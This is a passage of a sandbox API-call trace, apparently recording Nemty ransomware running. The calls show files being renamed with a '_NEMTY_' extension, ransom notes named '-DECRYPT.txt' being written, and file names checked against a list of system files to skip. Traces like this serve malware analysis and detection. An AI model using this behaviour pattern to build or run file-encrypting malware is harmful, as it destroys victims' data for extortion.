lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.266] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.266] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.276] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.276] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.276] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.286] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.286] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.286] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.295] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.295] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.295] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.305] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.305] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.305] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.314] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.314] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.314] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.324] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.324] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.324] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.333] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.333] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.333] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0134.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0134.346] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0134.346] CloseHandle (hObject=0xffffffff) returned 0 [0134.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0134.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0134.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0134.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0134.346] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.346] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.346] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0134.346] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22fbc446, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0134.346] lstrcmpiW (lpString1="js", lpString2=".") returned 1 [0134.346] lstrcmpiW (lpString1="js", lpString2="..") returned 1 [0134.346] lstrcmpiW (lpString1="js", lpString2="...") returned 1 [0134.346] lstrcmpiW (lpString1="js", lpString2="windows") returned -1 [0134.346] lstrcmpiW (lpString1="js", lpString2="$RECYCLE.BIN") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="rsa") returned -1 [0134.347] lstrcmpiW (lpString1="js", lpString2="NTDETECT.COM") returned -1 [0134.347] lstrcmpiW (lpString1="js", lpString2="ntldr") returned -1 [0134.347] lstrcmpiW (lpString1="js", lpString2="MSDOS.SYS") returned -1 [0134.347] lstrcmpiW (lpString1="js", lpString2="IO.SYS") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="boot.ini") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="AUTOEXEC.BAT") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1 [0134.347] lstrcmpiW (lpString1="js", lpString2="desktop.ini") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="CONFIG.SYS") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="RECYCLER") returned -1 [0134.347] lstrcmpiW (lpString1="js", lpString2="BOOTSECT.BAK") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1 [0134.347] lstrcmpiW (lpString1="js", lpString2="programdata") returned -1 [0134.347] lstrcmpiW (lpString1="js", lpString2="appdata") returned 1 [0134.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0134.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0134.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0134.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="js", cchWideChar=2, lpMultiByteStr=0x653ebd0, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="js", lpUsedDefaultChar=0x0) returned 2 [0134.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0134.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0134.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0134.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0134.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0134.347] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.347] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0134.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0134.348] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.348] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0134.349] CloseHandle (hObject=0x254) returned 1 [0134.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0134.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6347058 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x63470f0 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0134.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0134.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0134.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.349] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340100 [0134.349] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0134.350] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\en-us\\js\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0134.350] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0134.350] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.350] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0134.351] CloseHandle (hObject=0x254) returned 1 [0134.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0134.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63470f0 | out: hHeap=0x4f90000) returned 1 [0134.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0134.351] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\js\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3b90630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3b90630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0134.352] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0134.352] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eb25fda, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x3b90630, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x3b90630, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.352] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0134.352] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0134.352] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xbaa2, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="picturePuzzle.js", cAlternateFileName="")) returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2=".") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="..") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="...") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="windows") returned -1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="$RECYCLE.BIN") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="rsa") returned -1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="NTDETECT.COM") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="ntldr") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="MSDOS.SYS") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="IO.SYS") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="boot.ini") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="boot.ini") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="AUTOEXEC.BAT") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="ntuser.dat") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="desktop.ini") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="CONFIG.SYS") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="RECYCLER") returned -1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="BOOTSECT.BAK") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="bootmgr") returned 1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="programdata") returned -1 [0134.352] lstrcmpiW (lpString1="picturePuzzle.js", lpString2="appdata") returned 1 [0134.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0134.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0134.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.js", lpUsedDefaultChar=0x0) returned 16 [0134.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0134.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0134.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="picturePuzzle.js", lpUsedDefaultChar=0x0) returned 16 [0134.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0134.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0134.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0134.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0134.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0134.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0134.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="picturePuzzle.js", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 